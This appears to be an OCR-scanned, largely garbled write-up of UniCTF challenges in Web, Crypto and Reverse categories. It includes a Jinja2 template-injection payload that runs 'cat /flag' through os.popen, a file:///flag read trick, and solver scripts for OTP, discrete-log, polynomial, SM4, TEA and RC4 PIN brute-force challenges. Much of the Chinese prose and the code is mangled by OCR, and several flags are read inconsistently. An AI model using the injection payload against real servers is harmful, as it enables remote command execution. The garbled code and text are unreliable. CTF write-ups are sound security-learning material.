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Misc

Web

GlyphWeaver[done]

MA—LERE, RIWETnormalize, MAZAFH, KMBHCCUNFAFN, BIATHUSEI TERY
AN, £ T#EITSSTI

payload: {{url_for.__ _globals [’ builtins___ '] . __
_import___ ('os'). popen ('cat /flag').read (}}

Motto

Aki Tanaka
Forloops,forlife. {{ur l_for. __globals__ ['__builtins
_'"l.__import_ ('os'). popen ('cat /flag'). re Gameplay Engineer
ad 0
7 For loops, for life.UniCTF{0da3dec5-b5ea-

E 4a72-a548-1b2499dba3fb}
ooter

Export pipeline

Flag: UniCTF{0@da3dec5-b5ea-4a72-a548-1b2499dba3fb}

Intrasight[1F5ehX]
Jhiahttpbin.org, &N %28 (WebDriver)Z2£mipin], BE#ME R RBNIZEHANMBIARS?


http://httpbin.org/

¥F128]LIE R —1TAR <!-- dinternal-services: [public_web, admin_panel,
wx_xexlxr] -->, BRERMBMHLH -

SecureDoc[done]

Fefe—1, 1IRRXFA, 1ERIFEIBXXFARXXEREHPOC:
https://www.cnblogs.com/clnchanpin/p/19474345

THTREFIET, EENAB S Afile:///flag, L{ZBENSEflag

= Document Preview

+ Upload Another {1 Download Text

File ID: 4be34270-392b-4814-b657-3a82cc1fecfc
Extracted Size: 89 bytes
Status: [ Parsing Complete

Extracted Text Content:

UniCTF{8aZc3beo/-2cfa-412a-albb-—cb9e73bdleTa}
niCTF{8a2c3bb/-2cfa-412a-alb56-c6973bdleTa}

flag: UniCTF{8a2c3b67-2cfa-412a-al56-c69e73b4167a}

ezUpload[1F5ehX]
ERBHANIZE LFREXY, BRES “php” XBF, EFEERALITR

BB LETRZN, BERREAEflag, HWAbgeIE


https://www.cnblogs.com/clnchanpin/p/19474345

FHrevengeZbanT 1 </

Crypto

Subgroup-Weaver[done]
chatgpt® T, RELIEES, EEMNFIBEIMIT

ARG ER

1 from pwn dimport *

2  from tqdm import trange

3

4  HOST = "ncl.ctfplus.cn"

5 PORT = 30082

6

7 KEY_LEN = 64

8 BITS = KEY_LEN % 8

9 SAMPLES = 600 # fi—m

10

11  1do = remote(HOST, PORT)

12

13  cnt = [0] * BITS

14

15 print("[x] UtEE OTP #FZAH...")
16

17 for _ in trange(SAMPLES):

18 io.recvuntil(b'> ")

19 jo.sendline(b'00")

20 line = do.recvline().strip()
21

22 otp = int(line)

23 bits = bin(otp)[2:]1.zfill1(BITS) # Az bit &
24

25 for i, b in enumerate(bits):
26 if b == "1':

27 cnt[i] += 1

28

29  print("[x] HERKETHK, FIBME key...")
30
31 key_bits = []
32 for i 1in range(BITS):
33 p = cnt[i] / SAMPLES
34 # HEHBT
35 if p > 0.5:



36 key_bits.append('0")

37 else:

38 key_bits.append('1")

39

40  key_int = int(''.join(key_bits), 2)
41  key_bytes = key_int.to_bytes(KEY_LEN, 'big')
42  key_hex = key_bytes.hex()

43

44  print("[+] MEM key =", key_hex)
45

46 # IEX key

47  do.recvuntil(b'> ")

48  Hdo.sendline(key_hex.encode())

49

50 # ¥ flag

51 while True:

52 try:

53 line = do.recvline(timeout=2)
54 if not line:

55 break

56 print(line.decode(), end='")
57 except:

58 break

59

60 do.close()

subgroup_dlp

factordbsc3f#n, ARRBIMNAFEIAKREHNE, RECRTEH, ERE=TEF-127HIEL,
FERHRLE

(ASEEZS

from Crypto.Util.number dimport *

2 n =
2041658031134856810495845629040980060207645315074667460663717252759273689455274
9500299570715851384304673805100612931000268540860237227126141075427447627491168

3 c =

8195229101228793312160531614487746122056220479081491148455134171051226604632289

610379779462628287749120056961207013231802759766535835599450864667728106141697

a=17

def extended_crt(remainders, moduli):
if len(remainders) != len(moduli):
return (None, None)

O 00 N oo U b

X0 = remainders[0]
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55

m@ = moduli[0]

for r, m in zip(remainders[1:], moduli[1l:]):
d
c=r - x0
if ¢ % d !I= 0:

return (None, None)

g, k1, k2 = xgcd(m@, m)
m_prime = m // d
ko ((c /) d) * k1) % m_prime
X0 += kO * mO
mo mo xm// d
X0 = x0 % mO

return (x0, mo)

gcd(mO, m)

#factordbi BEHIAF

pel = 32

pe2 = 9

p3 = 10711086940911733573
p4 = 188455199626845780197

pS =

988854958862525695246052320176260067587096611000882853771819829938377275059

cl = c % pel
c2 = Cc % pe2
c3 =c % p3
c4 = c % p4
c5 = c % p5
ri =20

ml = Mod(a, pel).multiplicative_order()

rz2 =1
m2 = Mod(a, pe2).multiplicative_order()

g3 = Mod(a, p3)

ord_p3 = g3.multiplicative_order()

r3 = discrete_log(Mod(c3, p3), g3, ord=ord_p3)
m3 = ord_p3

g4 = Mod(a, p4)

ord_p4 = g4.multiplicative_order()

r4_p = discrete_log(Mod(c4, p4), g4, ord=ord_p4)

p4_2 = p4r2
c4_2 = c % pa_2
terml = pow(a, r4_p, p4_2)

term2 = pow(a, ord_p4, p4_2)
t = (term2 - 1) // p4

lhs_coeff = (terml * t) % p4



56 rhs = ((c4_2 - terml) // p4d) % p4

57 k = (pow(lhs_coeff, -1, p4) * rhs) % p4

58 r4_p2 = (r4_p + k *x ord_p4) % (ord_p4 * p4)
59 p4_3 p4°3

60 c4_3 = c % p4_3

61 terml_3 = pow(a, r4_p2, p4_3)

62 term2_3 = pow(a, ord_p4 x p4, p4_3)

63 t3 = (term2_3 - 1) // p4_2

64 lhs_coeff3 = (terml_3 * t3) % p4

65 rhs3 = ((c4_3 - terml_3) // p4_2) % p4

66 k3 = (pow(lhs_coeff3, -1, p4) * rhs3) % p4
67 ord_p43 = ord_p4 * p4xx2

68 r4 = (r4_p2 + k3 *x ord_p4 * p4) % ord_p43

69 m4 = Mod(a, p4_3).multiplicative_order()

70

71 g5 = Mod(a, p5)

72 ord_p5 = g5.multiplicative_order()

73 r5 = discrete_log(Mod(c5, p5), g5, ord=ord_p5)
74 m5 = ord_p5

75

76  remainders = [rl, r2, r3, r4, r5]

77  moduli = [ml, m2, m3, m4, m5]

78

79 X_total, M_total = extended_crt(remainders, moduli)
80 flag_bytes = long_to_bytes(X_total)

81 flag = flag_bytes.decode('utf-8', errors='ignore')
82 print(flag)

Reverse

c_polynomial[done]

DIRmFEAE, RIMBINNEFH—AHRY, EEZTATHFELNSEER, FRZIKME
BHFESH, iLDEME T — 14, ERDEIMLHNT, SRMESTREZM4LIBE! k! 7!
FERE RO FaHIEZEFSERCorrect, B2flaghEilis, TE2HIRINFIERE, HimkH Efflag

HADIR

from z3 import *

1

2

3 def solve_coeffs():

4 e

5 KBHTEFMEONTRE, FANMUBERFSEHIRMNCEST PRI intEE
6

7
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# EXEE
BITMASK = 0x400C0210000001

# BIBIT 2B SBHTE
coeffs = [BitVec(f'c{i}', 32) for i 1in range(9)]

s = Solver()
print("FHAKEE (IBATTSEBIEM) ...")

# IR XFET1M-60F59
for di_val in range(-60, 60):
# WFiEFENI2I BT 5 2L
i_bv = BitVecVal(i_val, 32)

# #EttotalfMlpower N32(i B 1G5
total BitVecval(o, 32)
power = BitVecVal(l, 32)

# ITEZIzt: total = X coeffs[j] * i7j

for j in range(9):
# coeffs[j] * power (32{IEFHEFRZE, Rikit)
term = coeffs[j] * power
# total += term (2UBHFENE, SiaitH)
total = total + term

# power x= 1 (2{UBEIFESFZE, Khit)
if j < 8: # RE—XTFEIEpowerT
power = power * i_bv

# IHERMES/

condition_index = i_val + 37

# IPILIR S
if 0 <= condition_index <= 0x36:
# 1 EBITMASKEIXT (U
bit_is_set = (BITMASK >> condition_index) & 1

if bit_is_set ==
# (I#IRE, EK total != 0
s.add(total == 0)
else:
# WABILE, BK total ==
s.add(total != 0)
else:
# condition_index P 7EBEA, EK total == 0
s.add(total != 0)



55
56
57
58
59
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64
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66
67
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69
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72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
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88
89
90
91
92
93
94
95
96
97
98

# 9E1 RIg— T AL TE1
s.add(coeffs[8] == 1)

# 29F2; WFERHELIFE
# coeffs[6] = 44114 (E#EE)
s.add(coeffs[6] == 44114)

# coeffs[7] = 4294966690 ((EA32(ULIFEEH, BTSSRI -606)

# 1£Z37, HITEEFEBEENIAZE
s.add(coeffs[7] == BitVecVal(-606, 32))

print("IETEXRE...")

# S KAE
while s.check() == sat:
model = s.model()

# IENRHE (1ENBEGSESH)
coeff_values = []
for i in range(9):
val = model[coeffs[i]]
# BHAPythonZH (B1FE
if val is not None:
# R EE
int_val = val.as_signed_long()
coeff_values.append(int_val)
else:

coeff_values.append(0)

print("\n#EIRR! R

for i, val in enumerate(coeff_values):

print(f" coeffs[{i}] = {val} (BfS), Xf5: {val &

OXFFFFFFFF:08x}")

yield coeff_values

s.add (Or (coeffs[i] != coeff_values[i] for i in range(9)))

if __name__ == "__main__":
import subprocess
with open('flag.txt', 'w') as f:
for coeffs in solve_coeffs():
print(' '.join(map(str, coeffs)))
out, _ = subprocess.Popen(['c_polynomial.exe'],
stdin=subprocess.PIPE, stdout=subprocess.PIPE).communicate('
coeffs)).encode())

'.join(map(str,



99 print(out.decode(errors="'backslashreplace'))

100 f.write(repr(out.split(b'flag: '")[1].strip())[2:-1]+"'"\n")
101 f.flush()
T EE ik A
AR

1 for line in open('flag.txt'):
2 if "\\' not in line:
print(line.strip())

-1150729056 1913427864 -1417349260 1952187034 -37214631 -2145779092 44114 -666 1
I'm practicing my neuro math skills. Give me nine integers: Hmm, let me think...
Correct! Here's the flag: unictf{19287189\xad291837918-knsadainwak-sia\xe4nwoadiasg}

Seems not right...

D:\PiYuanZhoulLv\sl\unictf\re\c_polynomial>D:/python313/python.exe d:/PiYuanZhoulLv/sl/unictf/re/c_polynomial/filter.py
unictf{q928W189m291837918-knsadai.wakMsia$nwoadiasg}
unictf{q928W189m291837918-knsadai.wakMsia$nwoadiasg}
unictf{1928w189-291837918-knsadainwakmsiadnwoadiasg}
unictf{1928w189m291837918-knsadainwakmsia$nwoadiasg}
unictf{19287189-291837918-knsadainwak-siadnwoadiasg}
unictf{19287189-291837918-knsadainwak-siadnwoadiasg}
unictf{19287189m291837918-knsadainwak-sia$nwoadiasg}
unictf{19287189m291837918-knsadainwak-sia$nwoadiasg}
unictf{gq928W189-291837918-knsadai.wakMsiadnwoadiasg}
unictf{q928W189-291837918-knsadai.wakMsiadnwoadiasg}
unictf{1928w189m291837918-knsadainwakmsia$nwoadiasg}
unictf{1928w189-291837918-knsadainwakmsiadnwoadiasg}

flag: unictf{19287189-291837918-knsadainwak-siadnwoadiasg}

c_sm4[done]

JSCHDIEE—T, AMEERUPXTE, B+ EHI4miE231E = sectionBI B FRELAL UPX1 . UPX2 .
UPX3 BPAJ upx -d Bi5=



—ame = P AR T LR R VRPN e P

[
Detect It Easy v3.10 [Windows 10 Version 2009] (x86_64) - O X

g

: ID:\PiYuanZhouLv\sI\unictf\re\c_sm4\c_sm4.exe I I =
| 2K 7N
SR SCFA m—
|PE64 v I | 68.18 KiB I
EEE: FHF Bk 2t it
e e | em || awoe | | mms
~ PE64
Be{E £ 58 Windows(Server 2003)[AMD64, 64 fir, ¥ &] s 7
FEEEFER: GNU Linker Id (GNU Binutils)(2.24)[#£ %] & 64,console] s 7
FiES: MinGW s 7
BE5: C/C++ 5 7
6T A: UPX(3.91+)[modified] s 7
(HeunFT & T &: Compressed or packed data[EntryPoint + Imports like UPX (v3.91+) + High entropy ... S 7
v BRN: Binary[f&H=0x8c00, /) =0x84b4]
FA: RE s 7
B - | | swmm -
E=tiid
. ax || Bz | 170 2% X e

ILDEINE T —MEZHIZA, {EZEDEMBZEANOX8IFMOXETT, RTRA (HELDEIMZEHXZE
RERISMARE) RRIERMNBEEE Tzwz

ADIR

import struct

SM4_SBOX = [
oxD6, Ox90, OxE9, OxFE, 0xCC, OxEl, Ox3D, OxB7, Ox16, OxB6, 0x14, 0OxC2,
0x28, OxFB, 0x2C, 0Ox05,

1
2
3 # IFHHISM4 SE (2567ME)
4
5

6 Ox2B, Ox67, Ox9A, Ox76, Ox2A, OxBE, 0x04, OxC3, OxAA, 0x44, O0x13, 0Ox26,
0x49, 0Ox86, Ox06, 0x99,

7 0x9C, 0Ox42, Ox50, OxF4, 0x91, OxEF, 0x98, Ox7A, 0x33, 0x54, Ox0B, 0x43,
OxED, OxCF, OxAC, 0x62,

8 OxE4, OxB3, Ox1C, OxA9, OxC9, Ox08, OxE8, Ox95, Ox80, OxDF, 0x94, OxFA,
Ox75, Ox8F, Ox3F, OxA6,

S Ox47, Ox07, OxA7, OxFC, OxF3, 0x73, Ox17, OxBA, 0x83, 0x59, Ox3C, 0x19,
OxE6, Ox85, Ox4F, OxA8,

10 Ox68, Ox6B, Ox81, OxB2, Ox71l, Ox64, OxDA, Ox8B, OxF8, OxEB, OxOF, Ox4B,
Ox70, Ox56, Ox9D, Ox35,

11 Ox1E, Ox24, OxOE, Ox5E, Ox63, 0x58, OxD1l, OxA2, Ox25, 0x22, Ox7C, Ox3B,

Ox01, Ox21, Ox78, Ox87,



12

13

14

15

16

17

18

19

20

21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49

OxD4, Ox00, Ox46, Ox57, Ox9F, 0OxD3,
OxAO, OxC4, OxC8, Ox9E,

OxXEA, OxBF, Ox8A, OxD2, 0x40, OxC7,
OxF9, Ox61, Ox15, OxAl,

OxEO, OxAE, Ox5D, OxA4, Ox9B, 0x34,
OxF5, 0x8C, 0xBl, OxE3,

0x1D, OxF6, OxE2, Ox2E, 0x82, 0Ox66,
Ox0D, Ox53, Ox4E, Ox6F,

OxD5, OxDB, Ox37, Ox45, OxDE, OxFD,
ox6D, Ox6C, Ox5B, Ox51,

ox8D, Ox1B, OxAF, 0x92, 0xBB, OxDD,
Ox1F, 0x10, Ox5A, OxD8,

Ox0A, OxCl, 0x31, O0x88, OxA5, 0OxCD,
OxB8, OxE5, OxB4, 0OxBO,

Ox89, 0Ox69, Ox97, Ox4A, Ox0C, Ox96,
OxC5, Ox6E, OxC6, Ox84,

0x18, OxFO, 0x7D, OXEC, Ox3A, 0OxDC,
0xD7, OxCB, 0x39, 0x48

0x27, 0x52, 0x4C,

0x38, OxB5, OxA3,

Ox1A, Ox55, OxAD,

OxCA, 0x60, 0xCO,

OX8E, Ox2F, 0x03,

OxBC, Ox7F, Ox11,

0x7B, OxBD, 0x2D,

Ox77, OXTE, Ox65,

0x4D, 0Ox20, Ox79,

]

# SM4EE

SM4_FK = [OxA3B1BAC7, Ox56AA3352, Ox677D919A, OxB27022E0]

SM4_CK = [
Ox00070E15, 0x1C232A31, Ox383F464D, 0x545B6269,
OX70777E85, Ox8C939AA1, OXASAFB6BD, ©xC4CBD2D9,
OXEOE7EEF5, OxFCO30All, Ox181F262D, 0x343B4249,
Ox50575E65, Ox6C737A81, Ox888F969D, OxA4ABB2B9,
OxCOCT7CED5, OXDCE3EAF1, OxF8FFO60D, 0x141B2229,
0x30373E45, 0x4C535A61, Ox686F767D, Ox848B9299,
OXAOGATAEB5, OxBCC3CAD1, OxDS8DFEGED, OxF4FB0209,
Ox10171E25, 0x2C333A41, Ox484F565D, Ox646B7279

]

def rotl(x, n):
llllllﬁEI$7__—E*§llllll
return ((x << n) | (x > (32 - n)))

def sm4_t(x):
i ARER T (BFME) o
# SEEM
bO = SM4_SBOX[(x >> 24) & OxFF]

bl = SM4_SBOX[(x >> 16) & OxFF]
b2 = SM4_SBOX[(x >> 8) & OxFF]
b3 = SM4_SBOX[x & OxFF]

& OXFFFFFFFF

b = (b0 << 24) | (bl << 16) | (b2 << 8) | b3

0x36,

OXFT7,

0x93,

0x29,

OXFF,

0xD9,

0Ox74,

0xB9,

OXEE,

0x02,

OxF2,

0x32,

0x23,

0X6A,

Ox5C,

0xDO,

OxF1,

Ox5F,

OxE7,

OxCE,

0x30,

OXAB,

0Ox72,

0Ox41,

0x12,

0x09,

Ox3E,



50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96

def

def

def

def

# TR L

return b A rotl(b, 2) A rotl(b, 10) A rotl(b, 18) " rotl(b, 24)

smé_tp(x):

TERER T (BFEASE)
# SEEM

bO = SM4_SBOX[(x >> 24) & OxFF]

bl = SM4_SBOX[(x >> 16) & OxFF]
b2 = SM4_SBOX[(x >> 8) & OxFF]
b3 = SM4_SBOX[x & OxFF]

b = (b0 << 24) | (bl << 16) | (b2 << 8) | b3
#LEMTHT L
return b A rotl(b, 13) * rotl(b, 23)

load_be32(data):
R i R AN EL 32 FE
if disinstance(data, bytes):
return struct.unpack('>I', datal[:4])[0]
elif disinstance(data, (list, tuple)):
# RIREF PIIZE

return (data[0] << 24) | (data[l] << 16) | (data[2] << 8) | data[3]

store_be32(data, offset, value):

"R T 32 A B E F AR
data[offset] = (value >> 24) & OxFF
data[offset + 1] (value >> 16) & OxFF
data[offset + 2] = (value >> 8) & OxFF
data[offset + 3] value & OxFF

sm4_setkey_enc(key_bytes):

nn ||$&bﬂ%‘{$@[§%ﬁ nnn
# 1F16F TEHITIRA471 3211 Kl F B3
mk = [

load_be32 (key_bytes[0:4]),
load_be32 (key_bytes[4:8]),
load_be32(key_bytes[8:12]),
load_be32 (key_bytes[12:16])

]
# WIAETE
k = [0] x 36

k[0] = mk[0] " SM4_FK[0O]
k[1] = mk[1] ~ SM4_FK[1]
k[2] = mk[2] " SM4_FK[2]
k[3] = mk[3] A SM4_FK[3]



97 # ERHEH

98 rk = [0] *x 32

99 for i 1in range(32):

100 tmp = k[i+1] A k[i+2] A k[i+3] " SM4_CK[i]
101 k[i+4] = k[i] * sm4_tp(tmp)

102 rk[i] = k[i+4]

103

104 return rk

105

106 def sm4_crypt_block(rk, input_bytes):

107 N —N1eF TR

108 # MIEGFIN

109 x = [0] * 36

110 x[0] = load_be32(input_bytes[0:4])

111 x[1] = load_be32(input_bytes[4:8])

112 x[2] = load_be32(input_bytes[8:12])

113 x[3] = load_be32(input_bytes[12:16])

114

115 # 32%0MZ

116 for i in range(32):

117 tmp = x[i+1] » x[i+2] ~ x[i+3] " rk[i]
118 x[i+4] = x[i] » sm4_t(tmp)

119

120 # st (R7)

121 output = bytearray(16)

122 store_be32(output, 0, x[35])

123 store_be32(output, 4, x[34])

124 store_be32(output, 8, x[33])

125 store_be32(output, 12, x[32])

126

127 return bytes (output)

128

129 def sm4_ecb_decrypt(encrypted_data, key_bytes):
130 "nSM4 ECBRETURRE

131 # ERBEERES (NERZHRF)

132 rk = sm4_setkey_enc(key_bytes)

133 dec_rk = rk[::-1]

134

135 # ECBIZTUARZS

136 decrypted = bytearray()

137 for i in range(0®, len(encrypted_data), 16):
138 block = encrypted_datal[i:i+16]

139 decrypted_block = sm4_crypt_block(dec_rk, block)
140 decrypted.extend(decrypted_block)

141

142 # ZPFPKCSTIEZE

143 pad_len = decrypted[-1]



144 if 1 <= pad_len <= 16:

145 decrypted = decrypted[:-pad_len]

146

147 return bytes(decrypted)

148

149 def main():

150

151 key_bytes = bytes([

152 Ox01, 0x23, 0x45, OX67,

153 0x89, OxAB, OXCD, OXEF,

154 OXFE, ©xDC, OxBA, 0x98,

155 0x76, Ox54, 0x32, Ox10

156 1)

157

158 print("&%A:", key_bytes.hex().upper())

159

160

161 encrypted_hex = input("BRWAEFRBHAMEZ+HSHEBIFRFSH: ") .strip()
162

163 try:

164 encrypted_data = bytes.fromhex(encrypted_hex)
165 print (f"IIZHIEKE: {len(encrypted_data)} FH")
166

167

168 decrypted_data = sm4_ecb_decrypt(encrypted_data, key_bytes)
169 print(f"RZLER: {decrypted_data}")

170 except Exception as e:

171 print (f"RZEKM: {e}")

172

173 if __name__ == "_main__":

174 main()

©123456789ABCDEFFEDCBAS876543210

H BN EE+ N B H =77 5 : e35d1c09d861670051587475dba@13bfe253923f8571add70f63a674dbeb8F22
: 32 =W
: b'unictf{smdezzed4ms}’

flag: unictf{smd4ezze44ms}

Strange_Py[done]

Fd pyinstxtractor.py &€, AfGpycdcRémKy, BHiZpycdasKRLLDEM, A Etealy>Zlt,
BRETREEREREERER T, BiRE—EMpythoniz{T pyinstxtractor.py &8, ARFAILL
£ PYZ.pyz_extracted XH*EmEKFtea.pyc, KIEDEIM RS, [FHNEEMEIZIE



Rﬁgijgnpo rt sys

2
3
4
5
6
-
8
9

10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47

from os -import path
from ctypes import c_uint32

def get_base_path():
nSRENVIERIGITREEREE (EEF A /TERE) "
if hasattr(sys, '_MEIPASS'):
base_dir = sys._MEIPASS
else:
base_dir = path.abspath(path.dirname(__file__))
return base_dir

base_path = get_base_path()
sys.path.insert(0, base_path)

try:
from Eencrypt dimport *
except ImportError as e:

LHO

raise ImportError('SAfIZ'")

def encoded(data):
nn "TEA}JD‘?}@% non
# HIETILLEE
data = refill(data)

data = [i for i 1in data]

# EREREVIZH

rand = randintl(16)
k = bytes(rand)

key = joinl(rand)
key = by (key)

bt = b"'

# SR

for i in range(0, len(data), 8):
# ERERENIZL
rand = randintl1(8)
n2 = bytes(rand)

# HIEFE

text = xor(data[i:i+8], rand)

# IR 32(T BT

enc = [
int(text[:len(text)//2], 16),
int(text[len(text)//2:], 16)



48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71

72
73
74
75
76
7
78

79
80
81
82
83
84
85
86
87
88
89
90
M|
92

plaintext = []

# TEATIZBIHF

for i in range(0, len(enc), 2):

50
0x12345678 #

CS S

vi =

305419896

# RIEF IR ctypeshY32(U B 155 B

vO = c_uint32(enc[i
vl = c_uint32(enc[i
v = c_uint32(0)

# TEAKZIOIIZEIF
for j in range(cs):
# E#v

v.value =

# BHTVO

temp_sum_v_v1l =
temp_keyl_vl_shift =

temp_key0_16v1

temp_vO_update
temp_key®_16v1) & OxFFFFFFFF

vO.value = (vO.

# BFrvi

temp_sum_v_v0O =
temp_key3_vO_shift =

temp_key2_16v0

temp_v1_update
temp_key2_16v0) & OxFFFFFFFF

vli.value = (v1.
# FIEIIZLER
enc[i] = vO.value

enc[i+1l] =

vl.value

D
+1])

(v.value - vi) & OXFFFFFFFF

(v.value + vl.value) & OxFFFFFFFF

(key[1] + (vl.value >> 5)) & OxFFFFFFFF
= (key[0] + (vl.value << 4)) & OxFFFFFFFF

= (temp_sum_v_vl " temp_keyl_vl_shift 7

value + temp_v@_update) & OxFFFFFFFF

(v.value + vO.value) & OxFFFFFFFF

(key[3] - (vO.value >> 5)) & OxFFFFFFFF
(key[2] + (v@.value << 4)) & OxFFFFFFFF
(temp_sum_v_vO " temp_key3_vO_shift 7

value + temp_vl_update) & OxFFFFFFFF

plaintext.extend([enc[i], enc[i+1]])

# FFINELE R FTH
plaintext =

# MHERZEL

bt += bytes(plaintext)

byte(joinl(plaintext, 8))

+ n2



93

return encryption(bt, k)

XEMEencrypt2ACythonBRIRR, AJLUAXNNMARARIpython§ AN, Fath—T& I REEIER

RISIR

1 refill(bytes) -> 8Bytes padded(\0) data

2 e.g. refill(b'123') == b'123\0\0\0\0\0'

3 randintl(num: int) -> numMN#EHlbyte

4 e.g. randintl(2) --like-> [114, 51]

5 joinl(list[int], bit: int) -> BFHFEMhexdHEE—E

6 e.g. joinl([1, 2, 3]) == '010203' joinl([1, 2, 3], 3) == '001002003'
7 by (+/NEBIFRR) > [{E]

8 e.g. by('123') == [0x123]

9 by (sum((str(i)*8 for i in range(4)), "")) == [0x11111111, 0x22222222,

0x33333333, 0x44444444]

10  xor(a: bytes, b:bytes) -> +7\#HHIFERR

11 e.g. xor(b'123', b'0EO') == '010203'
12  byte(str|bytes) -> bytes
13 e.g. byte(b'111213') == b'\x11\x12\x13'
14 encryption(a: bytes, b: bytes) -> a+b+HENKEMVIFR (KE<16)
15 e.g. Eencrypt.encryption(b'1111", b'2222") --e.g.->

b'111122228$\x89%w4\xba'"\xa3\xa30" '

EEERDREH randint: — WMWW%%%
XX SRR Ec B R H S —H T DT AHR, #—T ARERER T R KR
1T H, BiEHY®

RISIR

1 from ctypes import c_uint32

2

3 def decrypt(data):

4

5 rubbish = len(data) % 16

6 data = data[:-rubbish]

7 bt, k = data[:-16], data[-16:]

8 key = [int.from_bytes(k[i*x4:i*4+4]) for i in range(4)]
9

10 decrypted = b'"'
11
12 for i in range(0, len(data), 16):
13
14 plaintext, n2 = bt[i:i+8], bt[i+8:1+16]

15



16 cs = 50

17 vi = 0x12345678

18 vO = c_uint32(int.from_bytes(plaintext[:4]))

19 vl = c_uint32(int.from_bytes(plaintext[4:]))

20 v = c_uint32(-cs * vi)

21

22 for _ 1in range(cs):

23 temp_sum_v_v® = (v.value + vO.value) & OxFFFFFFFF

24 temp_key3_vO_shift = (key[3] - (vO@.value >> 5)) & OxFFFFFFFF

25 temp_key2_16v0 = (key[2] + (vO.value << 4)) & OxFFFFFFFF

26 temp_vl_update = (temp_sum_v_v0O " temp_key3_vO_shift A
temp_key2_16v0) & OxFFFFFFFF

27 vl.value = (vl.value - temp_vl_update) & OxFFFFFFFF

28

29 temp_sum_v_vl = (v.value + vl.value) & OxFFFFFFFF

30 temp_keyl_vl_shift = (key[1] + (vl.value >> 5)) & OxFFFFFFFF

31 temp_key0_16vl = (key[0] + (vl.value << 4)) & OxFFFFFFFF

32 temp_vO_update = (temp_sum_v_v1l " temp_keyl_vl_shift 2
temp_key0_16v1) & OxFFFFFFFF

33 vO.value = (vO@.value - temp_vO_update) & OxFFFFFFFF

34

35 v.value = (v.value + vi) & OxFFFFFFFF

36

37 text = vO.value.to_bytes(4) + vl.value.to_bytes(4)

38

39 decrypted += bytes(a?b for a, b in zip(text, n2))

40

41 return decrypted.rstrip(b'\0")

42

43 open('flag.exe', 'wb').write(decrypt(open('flag.enc', 'rb').read()))

/G517 flag.exe FLAILLZERflagT

D:\PiYuanZhouLv\sl\unictf\re\strange_py>flag
I8 & —/ Hello, World!Ng

printf("Unictf{WOOL!!!_YOuh@Ve_fOuNd_mE}")

flag: Unictf{weoL!!!_YOuh@Ve_fOuNd_mE}

[F8! Bzh! [done]

2Unity IL2CPPi¥[A, tbtMonoZERFMM, %t IL2CPPDumper dump—TF, AREZRIIDAERS, E
BYA dnSpy BEEWER (AAMELEHWAENREXIET, FIKREELERSANT EIZENLSEE



Ay

7£ dnSpy EmEIkEI— 1N HEdecrypt5iERIE, BKIDABERX5|AH, AIITE ShowResult BEEE
ML, BEEEENEEZERflag

4 %3 GachaManager @02000002
b Ml ESE]
Pl RAEEERY

(3
- .I

ReturnToBanner() :

BT RAMTRERE, BRFNRXSEZREMDSEkeyHiv, FARXT
encryptedFlagAsset fi#%

RERAFTHNEEPERHRXNEXERNET, MelonlLoader / BepInEx + UnityExplorer #B
TEBEh, REEEMAIDA attachi#iZ2 T ReXRIPEEflag



73 {
e 74 strl = (System_String_o *)GachaManager__DecryptAES(z1, ©x89u);
e 75 v12 = System_String_ Concat_6461104464(Stringliteral_8194, strl, 6LL);
e 76 Stringliteral_ 2815 = Stringliteral_2015;
o 77 vld = (__inte4 (__fastcall *)(_QWORD, uintle_t *, _ inte4, __int64))qword_7FFBECD1D1ER;
o 78 if ( !qword_7FFBECD1D1E8 )
79 {
e 3o v21[@] = L"user32.dll";
o 81 v21[1] = 1eLL;
e 82 v21[2] = "MessageBox";
e 83 v21[3] = 16LL;
e 34 v22 = @,
e 85 v23 = 1;
® 86 n2s = 28;
® 387 v25 = 8;
e 88 vi4 = (__inté4 (_ fastcall *)(_QWORD, uintl6 t *, _ int64, _ int64))sub_7FFBEAGA3250(v21);
o 89 quord_7FFBECDID1E8 = (__ int64)vis;
% }
e 91 vl5 = StringlLiteral_2015 + 2@;
e 92 if ( !Stringliteral_2015 )
e 93 vl5 = @eLL;
e 94 p_firstChar = &v12->fields._firstChar;
e 95 if ( tviz )
® 96 p_firstChar = OLL;
e 97 return vi4(eLL, p _firstChar, v15, 64LL);
98 }

SYSTEM ADMIN X

Congratulations Traveler!

UniCTHSt@rt G3n541n_Impact!}

flag: UniCTF{St@rt_G3n541n_Impact!}

r_pngldone]
o, RIME— 1 ECIIIRCA, BAREMII/MBEIRE—HN “WHE" , BE— 1 HZAIGEHAGZFEENA]

(RWIEEZS

1 dmport -dtertools

2  dimport os

3 dmport random

4

5 keys = list(map(''.join, itertools.product(map(str, range(10)), repeat=4)))
6 random.shuffle(keys)



8 count = 0
9 for k in keys:

10 count += 1

11 print(f'[*x] Trying {k} ({count}/{len(keys)})")
12 os.system(f'./enc flagpngenc {k}'")

13 if open('flagpngenc.rc4', 'rb').read(4)[1:] == b'PNG':
14 os.system('cp flagpngenc.rc4 flag.png')

15 print('[!] FOUND')

16 exit(0)

17 else:

18 print('[-] not this...")

19 else:

20 print('[x] WTF? NOT FOUND!")

21

Trying 6952 (9935/10000)
INZ5E Rk : flagpngenc.rc4
not this...

Trying 4592 (9936/10000)
N#5E R : flagpngenc.rcé

not this...

Trying 7999 (9937/10000)
% 5E Rk : flagpngenc.rc4
FOUND

(R A BHIG?--)

flag: unictf{325799799302}

r_zip[done]
BEEERTRE, THISE, EMNZELZE L, FTEENEZERE, EHENIEXMRTE

v37 = result[e];
if ( repeat_length_copy < 3 )
goto LABEL_98;
if ( (void *)result_ptr == result[e] )
alloc::raw_vec: :RawVec<T,A>::grow_one(result);
nexlee 21 = (char *)result[1];
*((_BYTE *)result[1] + result_ptr) = (repeat_one_length >> 4) | ©x86;
v38 = result ptr + 1;
*(_QWORD *)ve7 = result_ptr + 1;
v39 = (16 * repeat_one_length) | repeat_length_copy;|



(RS EEZS

1
2
3
4
5
6
7

0 4 8 8 12

16

+ -+ -+ -+ — 4+ -+ — 4+ - + — + + -+ -+ -+ — 4+ -+ — 4+ - + — +
1 loelo | X[ X|X[X|X] | X]X[X[X][Y[]Y]Y]Y]

